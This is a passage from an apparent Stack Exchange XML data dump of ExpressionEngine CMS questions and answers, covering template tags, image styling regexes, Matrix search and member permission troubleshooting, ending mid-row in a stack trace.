  <row Id="32391" PostTypeId="1" CreationDate="2015-07-22T17:00:08.177" Score="0" ViewCount="89" Body="&lt;p&gt;I've seen this post:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/25609/request-disabled-image-size-inline-css?lq=1&quot;&gt;Remove inline styles from WYGWAM&lt;/a&gt; -  but it's for WYGWAM. Has anyone successfully changed CKEditor's behavior, from Wyvern, to output this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;blat.gif&quot; height=&quot;200&quot; width=&quot;200&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;blat.gif&quot; style=&quot;width:200px; height:200px;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not clear which file I should edit.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2015-07-22T20:03:19.167" Title="Getting CKEditor in Wyvern to not use inline styles" Tags="|css|ckeditor|wyvern|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32392" PostTypeId="2" ParentId="32391" CreationDate="2015-07-22T17:56:30.030" Score="1" Body="&lt;p&gt;Hrmm. I wouldn't recommend changing core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:p I feel like being awful today. Here's a PHP solution (turn template on PHP output):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo preg_replace(&quot;/height\=\\&quot;(\d*)\\&quot; width=\&quot;(\d*)\\&quot;/&quot;, 'style=&quot;height:$1px; width:$2px;&quot;', '{wyvern_image_field}');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This regex will turn&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;blat.gif&quot; height=&quot;200&quot; width=&quot;200&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;blat.gif&quot; style=&quot;height:200px; width:200px;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;bunch of edits&lt;/strong&gt; that was some quote nightmare to get right, lol. AND OH, woops, you wanted it to go the &lt;strong&gt;other&lt;/strong&gt; way. Hold on, regex coming up in a few minutes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here ya go, buddy!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo preg_replace(&quot;/style=\\&quot;height:(\d*)px; width:(\d*)px;\\&quot;/&quot;, 'height=&quot;$1&quot; width=&quot;$2&quot;', '{wyvern_image_field}');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will take this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;blat.gif&quot; style=&quot;height:200px; width:200px;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and produce this!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;blat.gif&quot; height=&quot;200&quot; width=&quot;200&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-07-22T18:19:05.363" LastActivityDate="2015-07-22T18:19:05.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32394" PostTypeId="2" ParentId="32391" CreationDate="2015-07-22T20:03:19.167" Score="1" Body="&lt;p&gt;Wyvern has a similar config file, you can add this line to it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;config.disallowedContent = 'img{width,height}';&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2015-07-22T20:03:19.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32395" PostTypeId="1" CreationDate="2015-07-22T21:50:28.787" Score="0" ViewCount="39" Body="&lt;p&gt;Some of my primary fields that are used on multiple forms (like First Name, Last Name, Email) are now missing from the list of available fields. If I try to recreate the field, it says a field with that name already exists. On the forms that use those fields, the space where they should be is blank. Is there a limit to the # of fields, and did these early-created fields get dumped as I added more and more over the years? Any way to repair these missing fields?&lt;/p&gt;&#xA;" OwnerUserId="3434" LastActivityDate="2016-06-06T16:58:57.697" Title="Missing Fields in Freeform v4.2.3" Tags="|solspace-freeform|fields|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32396" PostTypeId="2" ParentId="32244" CreationDate="2015-07-23T01:30:51.420" Score="0" Body="&lt;p&gt;Chad,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I make sure the the error is embedded into the {exp:subs:subscribe ....} subscription form that way an error doesn't leave the page.  You could test with variables as seen below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       &amp;lt;!-- Errors Section --&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt; &#xA;            {if subs:no_results}&#xA;            &amp;lt;div class=&quot;alert alert-danger&quot;&amp;gt;This plan does not exists&amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&#xA;            {if subs:no_access}&#xA;            &amp;lt;div class=&quot;alert alert-danger&quot;&amp;gt;You don't have access to this resource&amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&#xA;            {if subs:total_errors}&#xA;            &amp;lt;div class=&quot;alert alert-danger&quot;&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                    {subs:form_errors}&#xA;                    &amp;lt;li&amp;gt;{subs:error}&amp;lt;/li&amp;gt;&#xA;                    {/subs:form_errors}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/div&amp;gt; &#xA;        &amp;lt;!--/ End Errors Section --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other thing I noted while looking at your code is that the return for me always starts with a slash as seen below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;return=&quot;/membership/thank_you_gift/%VOUCHER_HASH%&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if that helps.&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2015-07-23T01:30:51.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32397" PostTypeId="2" ParentId="32341" CreationDate="2015-07-23T02:33:14.653" Score="0" Body="&lt;p&gt;Freeform Pro has it's &quot;Composer&quot; form editing tool that includes a field for dynamic recipients. Otherwise if you're using hard coded forms (or the free version of Freeform) you can use the recipients variables - &lt;a href=&quot;https://solspace.com/docs/freeform/form/#freeform_recipient_value1&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/freeform/form/#freeform_recipient_value1&lt;/a&gt; - that would  also negate the need for PHP in templates.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-07-23T02:33:14.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32398" PostTypeId="2" ParentId="32338" CreationDate="2015-07-23T02:37:07.877" Score="2" Body="&lt;p&gt;Sure, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:category_archive channel=&quot;my_channel&quot; style=&quot;linear&quot;}&#xA;    {categories}&#xA;            &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;&#xA;        {exp:channel:entries channel=&quot;my_channel&quot; category=&quot;{category_id}&quot;}&#xA;            &amp;lt;a href=&quot;{comment_url_title_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        {/exp:channel:entries}&#xA;&#xA;    {/categories}&#xA;{/exp:channel:category_archive}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-07-23T02:37:07.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32399" PostTypeId="2" ParentId="154" CreationDate="2015-07-23T03:07:08.973" Score="0" Body="&lt;p&gt;Now that SRCSET is becoming more widely supported you can use EE Image manipulations to output various sized images, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_image_field}&#xA;&amp;lt;figure&amp;gt;&#xA;    &amp;lt;img src=”{url:small}” &#xA;    srcset=”&#xA;        {url:small} 600w, &#xA;        {url:medium} 960w, &#xA;        {url:large} 2000w&#xA;    ” alt=”“&amp;gt;&#xA;    &amp;lt;figcaption&amp;gt;{title} {description} {credit}&amp;lt;/figcaption&amp;gt;&#xA;&amp;lt;/figure&amp;gt;&#xA;{/my_image_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-07-23T03:07:08.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32400" PostTypeId="2" ParentId="32384" CreationDate="2015-07-23T03:11:16.983" Score="0" Body="&lt;p&gt;The trick is to add the space only inside the conditionals, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Chocolate{if segment_2 == &quot;&quot;} Cookie{/if}{if segment_2 !=  &quot;any&quot;} {segment_2_category_name}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-07-23T03:11:16.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32401" PostTypeId="2" ParentId="32376" CreationDate="2015-07-23T03:18:03.793" Score="0" Body="&lt;p&gt;Your embed tag syntax looks wrong, missing closing quotes, also you don't need the first slash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Wrong&#xA;{embed=&quot;/embeds/.sidebar_articles}&#xA;&#xA;Correct&#xA;{embed=&quot;embeds/.sidebar_articles&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-07-23T03:18:03.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32402" PostTypeId="2" ParentId="32355" CreationDate="2015-07-23T03:23:53.297" Score="0" Body="&lt;p&gt;Another slightly different way, in your &quot;repair&quot; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;&quot;}&#xA;  Your content for service/repair&#xA;{if:else}&#xA;  Your content for service/repair/iphone-repair (where segment 3 has a url_title)&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-07-23T03:23:53.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32403" PostTypeId="2" ParentId="32349" CreationDate="2015-07-23T03:27:50.203" Score="0" Body="&lt;p&gt;Check any template caching you may have turned on as that can interfere with content updating after logging in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Turn off caching for the template the member is redirected back to.&lt;/li&gt;&#xA;&lt;li&gt;Convert member content into an embed template, that way you can leave caching on on the main template but not caching the embed will allow content to update.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-07-23T03:27:50.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32404" PostTypeId="2" ParentId="32220" CreationDate="2015-07-23T03:46:18.737" Score="0" Body="&lt;p&gt;Can you try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;&#xA;{total_results} Comment{if total_results == &quot;0&quot; OR total_results &amp;gt; &quot;1&quot;}s{/if}&#xA;&amp;lt;/h4&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2015-07-23T03:46:18.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32405" PostTypeId="2" ParentId="32349" CreationDate="2015-07-23T09:43:57.393" Score="0" Body="&lt;p&gt;Turned out the IP address stored for the session didn't match the session IP address and that's why an active session couldn't be created. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to go in /system/codeigniter/system/core/Input.php and switch some of the if cases around in function ip_address(), so that I store server('REMOTE_ADDR') instead of server('HTTP_X_FORWARDED_FOR').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then everything worked.&lt;/p&gt;&#xA;" OwnerUserId="6502" LastActivityDate="2015-07-23T09:43:57.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32406" PostTypeId="1" CreationDate="2015-07-23T10:39:55.730" Score="1" ViewCount="107" Body="&lt;p&gt;I’m using a plugin name « Category Count » to count the number of entries in a specific category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i create an entry, transcribe create one for French and one for English so my counter show me two entries. I need only one entry count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s my code : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_id=&quot;8&quot; style=&quot;linear&quot;}&#xA;  {if soin-visage-section == 'Catégorie' }&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{exp:transcribe:uri path=&quot;soin-visage/par-categorie/list/{category_url_title}&quot;}&quot;&amp;gt;{category_name} ({exp:catcount cat_id=&quot;{category_id}&quot; channel=&quot;products&quot;})&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA; {/if}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Someone Can help me with this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jérôme&lt;/p&gt;&#xA;" OwnerUserId="6510" LastEditorUserId="22" LastEditDate="2015-07-23T14:35:34.507" LastActivityDate="2016-01-21T14:00:29.817" Title="Category Count and EE transcribe" Tags="|channel-entries|categories|transcribe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32407" PostTypeId="1" AcceptedAnswerId="32408" CreationDate="2015-07-23T10:59:21.160" Score="0" ViewCount="168" Body="&lt;p&gt;I'm creating a site that uses a masonry grid layout as the homepage. It's designed in a way that the content is organised semi-randomly (I've chosen the randomness). I have portfolio images, which link to the single entry, showing in various blocks of the grid. My issue is that only the content in the first channel entries tag pair is parsing. For example here, only two entries are being displayed—&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projects&quot; limit=&quot;2&quot;}&#xA;&amp;lt;div class=&quot;element&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;{title_permalink='projects/index'}&quot;&amp;gt;&#xA;&amp;lt;figure class=&quot;images&quot;&amp;gt;&amp;lt;img src=&quot;{project_image:project_thumb}&quot;/&amp;gt;&amp;lt;/figure&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;some other elements here...&#xA;&#xA;{exp:channel:entries channel=&quot;projects&quot; limit=&quot;2&quot;}&#xA;&amp;lt;div class=&quot;element&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;{title_permalink='projects/index'}&quot;&amp;gt;&#xA;&amp;lt;figure class=&quot;images&quot;&amp;gt;&amp;lt;img src=&quot;{project_image:project_thumb}&quot;/&amp;gt;&amp;lt;/figure&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have multiple channel entries tags, displaying information from the same channel, on one page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced.&lt;/p&gt;&#xA;" OwnerUserId="6511" LastActivityDate="2015-07-23T11:27:15.503" Title="Multiple channel entries on the same page?" Tags="|ee2|channel-entries|multiple-channels|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32408" PostTypeId="2" ParentId="32407" CreationDate="2015-07-23T11:27:15.503" Score="0" Body="&lt;p&gt;I thought it should be possible. Anyway, you should avoid calling the channel entries tag multiple times because it is quite an heavy operation. You could solve it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projects&quot; limit=&quot;4&quot; dynamic=&quot;off&quot;}&#xA;{if count == 3}some other elements here...{/if}&#xA;&amp;lt;div class=&quot;element&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;{title_permalink='projects/index'}&quot;&amp;gt;&#xA;&amp;lt;figure class=&quot;images&quot;&amp;gt;&amp;lt;img src=&quot;{project_image:project_thumb}&quot;/&amp;gt;&amp;lt;/figure&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2015-07-23T11:27:15.503" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32409" PostTypeId="2" ParentId="32406" CreationDate="2015-07-23T13:21:41.930" Score="1" Body="&lt;p&gt;It's possible Transcribe and Category Count aren't very sympatico. How about just running a query with the Query module? This is completely untested as I'm quite busy but I though I'd throw it out their. Probably have a bunch parse order issues with this idea.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT COUNT(*) as outer_count FROM exp_category_posts WHERE cat_id = '8';&quot;}&#xA;    {exp:query sql=&quot;SELECT * FROM exp_category_posts WHERE cat_id = '8' LIMIT {outer_count} / 2;&quot;}&#xA;        {count}&#xA;    {/exp:query}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-23T13:21:41.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32411" PostTypeId="2" ParentId="30485" CreationDate="2015-07-23T14:45:44.683" Score="0" Body="&lt;p&gt;Try reuploading your themes/javascript folder. This could be a symptom of a failed or incomplete upload. Also, when you open your developer console in Chrome or Firefox (hit F12), jump over to your console. What errors are you getting? Please edit your answer with this information and I can probably get you fixed up.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-23T14:45:44.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32412" PostTypeId="1" AcceptedAnswerId="32413" CreationDate="2015-07-23T14:47:14.763" Score="0" ViewCount="312" Body="&lt;p&gt;Is there an easy way to search within a Matrix field for a particular value and if it matches to display the associated entry? Similar to how the &quot;search:&quot; parameter allows you to constrain Channel Entries output based on content within your fields. I want to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;shows&quot;&#xA;    search:show_uid=&quot;={segment_2}&quot;&#xA;    limit=&quot;1&quot;&#xA;    show_expired=&quot;yes&quot;&#xA;    dynamic=&quot;off&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;show_uid&quot; is the name of my Matrix field and the value I'm trying to match is in column 2.&lt;/p&gt;&#xA;" OwnerUserId="454" LastEditorUserId="6352" LastEditDate="2015-07-23T16:39:53.570" LastActivityDate="2015-07-23T16:39:53.570" Title="Search Parameter within Matrix Field" Tags="|matrix|search|parameters|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32413" PostTypeId="2" ParentId="32412" CreationDate="2015-07-23T15:05:27.493" Score="0" Body="&lt;p&gt;If you mark a Matrix column as Searchable, then its content will be stored as keywords on the parent entry, and you will be able to search for it via {exp:channel:entries}’ &lt;code&gt;search:field_name=&lt;/code&gt; param.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couple caveats, though:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Remember that we’re just talking about &lt;em&gt;keywords&lt;/em&gt; here. You can’t search for specific cell values, since those values are just getting dumped along with all other cells’ values for all of your searchable columns. So don’t prefix your &lt;code&gt;search:field_name=&lt;/code&gt; param value with &lt;code&gt;=&lt;/code&gt;, e.g. &lt;code&gt;search:field_name=&quot;=somevalue&quot;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you set a column to Searchable after you’ve already saved some entries, you will need to re-save those entries for the setting to take effect.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2015-07-23T15:05:27.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32414" PostTypeId="2" ParentId="32412" CreationDate="2015-07-23T15:06:10.927" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#search-field-name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can search in matrix fields, no problem! Just make sure that the matrix column is set to &lt;strong&gt;searchable&lt;/strong&gt;. Check this answer for some pictures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/4761/search-in-matrix-fields&quot;&gt;Search in Matrix Fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;shows&quot;&#xA;    search:show_uid=&quot;={segment_2}&quot;&#xA;    limit=&quot;1&quot;&#xA;    show_expired=&quot;yes&quot;&#xA;    dynamic=&quot;off&quot;&#xA;}&#xA;&#xA;    If you're seeing this, it's because we have a search result within the matrix field you wanted to search in!&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-07-23T15:06:10.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32415" PostTypeId="1" AcceptedAnswerId="32419" CreationDate="2015-07-23T15:28:17.263" Score="0" ViewCount="37" Body="&lt;p&gt;Can't seem to edit another member using 'User' by solspace using {exp:user:edit}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can edit as a super admin, but not when logged in as custom member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When logged in as the custom member group i get a no results instead of my templated edit form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to edit other members not using a super admin account?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:edit &#xA;    password_required=&quot;yes&quot; &#xA;    screen_name_password_required=&quot;yes&quot;&#xA;    return=&quot;account/profile/{segment_3}/success&quot; &#xA;    username=&quot;{segment_3}&quot;&#xA;    username_override=&quot;yes&#xA;}        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-07-23T19:49:27.610" Title="Editing other members" Tags="|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32416" PostTypeId="1" CreationDate="2015-07-23T15:55:37.187" Score="2" ViewCount="77" Body="&lt;p&gt;So I am running into an interesting problem.  I have an article that, within 'Content Elements' (&lt;a href=&quot;https://devot-ee.com/add-ons/content-elements&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/content-elements&lt;/a&gt;) field there are over 50 elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I save a revision, it reloads the article and the 'Content Elements' field is now empty.  The other EE fields (thumbnail, url-title) still appear however.&#xA;What's interesting is that if I go to Revisions, and load a prior revision (where the same issue happened), all of the properly saved content elements fields appear.  Moreover, if I load the latest revision (again, where Content Elements was blank after save), all of the data properly appears.  So the data is all being saved properly, it's just not being shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to view the page (via Live Look), none of the Content Elements data is shown though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go back to Content-&gt;Edit-&gt;Entry, the Content Elements is again blank (other EE fields like thumbnail and url-title load fine). I have to load a previous revision first, and then load the most recent revision again in order to see the latest Content Elements data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried shortening my article, by removing about 10 elements inside the Content Elements field.  This brought the article closer to ~40 elements.  Presto! It all works as it should.  So it appears it's something to do with the amount of elements I'm using inside Content Elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curious if anyone has run into this before? Any suggestions on trying to debug this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6113" LastActivityDate="2015-07-23T15:55:37.187" Title="Content Elements - too many elements causing problems" Tags="|content-elements|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32417" PostTypeId="1" AcceptedAnswerId="32553" CreationDate="2015-07-23T17:27:48.380" Score="1" ViewCount="123" Body="&lt;p&gt;&lt;strong&gt;OK&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deets: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EE 2.9.2&#xA;Assets 2.5&#xA;Structure 3.3.17&#xA;Tag 4.2.9&#xA;Matrix 2.6.1&#xA;Playa 4.5.2.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those should be the only possible relative ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent half my morning trying to figure this one out. I have a member group that has access to a particular channel that lives in Structure. For channel fields, we have this variety going on for this channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Text&#xA;Matrix&#xA;Playa&#xA;Relationships&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are about 10 channel entries in this channel. Now, a Super Admin account can open the entry_form for all of these entries, and save channels entries, no problem. But the member group that is meant for editing these channel entries can &lt;strong&gt;only&lt;/strong&gt; open some of the entries. About half of them pull a WSOD. I've gone through and compared working ones to non-working ones endlessly, and can't find a single consistent difference. Ex: Some have Wygwam fields with images in them, some don't, both varieties of entry work and don't work. Some have revisions turned on, some don't, both varieties of entry work and don't work. Some are authored by members of this member group, some are authored by our main content editor (whose member group has more privileges), both varieties of entry work and don't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After spending a painful amount of time comparing them, I moved on to the member group settings. Here's what I tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a temporary member group (duplicated from the one that I assumed was the issue). I then moved a member over to this temporary one, and then methodically went through the member group settings, and gradually escalated the groups privileges, until they were basically Super Admins, but to no avail. The main content editor is &lt;strong&gt;not&lt;/strong&gt; a Super Admin, but she can view and edit all of the entries just fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Side note; we upgraded from 2.5.(3 or 5, can't remember) a few months ago, and I think this wasn't an issue before then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, I can only guess it's some setting related to individual entries, perhaps in the channel_title rows, but I glanced them and didn't see anything out of order (I'll check again). Can anyone suggest any other debug paths? This one is maddening. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I duplicated the Super Admin group as a test group, and that test member group &lt;strong&gt;cannot&lt;/strong&gt; view the channel entries that aren't working for the original problem member group. What the hell is going on here? Some addon has a weird conditional hardcoded for Super Admin (aka member_group == 1)? But yet another member group (main content editors member group) can also view and save all channels entries? WTF??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no new info, but this is still a persisting issue. I'm bumping it in hopes that a few other heavy-weights on this exchange can weigh in... I am very versed with digging through core files, but I'm at least looking for suggestions. I know I could turn on error logging and grep through it.. but the site in question is for a University that has 17 thousand students and probably several thousands employees and who knows how many interested potential students and employees.. so 10 seconds of that error/debug log can be 10's of thousands of lines and a pain to accurately grep. Hell, even if someone had a suggestion on what I'm looking for in the log files so I can craft a grep/regex to search the log...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, I'm down to this error, popping on up on the test installation with debugging on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Uncaught exception 'Exception' with message 'Assets could not complete the requested operation.' in /storage/av02422/www/public_html/test/control/expressionengine/third_party/assets/sources/ee/file.ee.php:43&#xA;Stack trace: #0 /storage/av02422/www/public_html/test/control/expressionengine/third_party/assets/sources/base_source.php(793): Assets_ee_file-&amp;gt;__construct(66718, Object(Assets_ee_source), NULL) &#xA;#1 /storage/av02422/www/public_html/test/control/expressionengine/third_party/assets/libraries/Assets_lib.php(1048): Assets_base_source-&amp;gt;get_file(66718) &#xA;#2 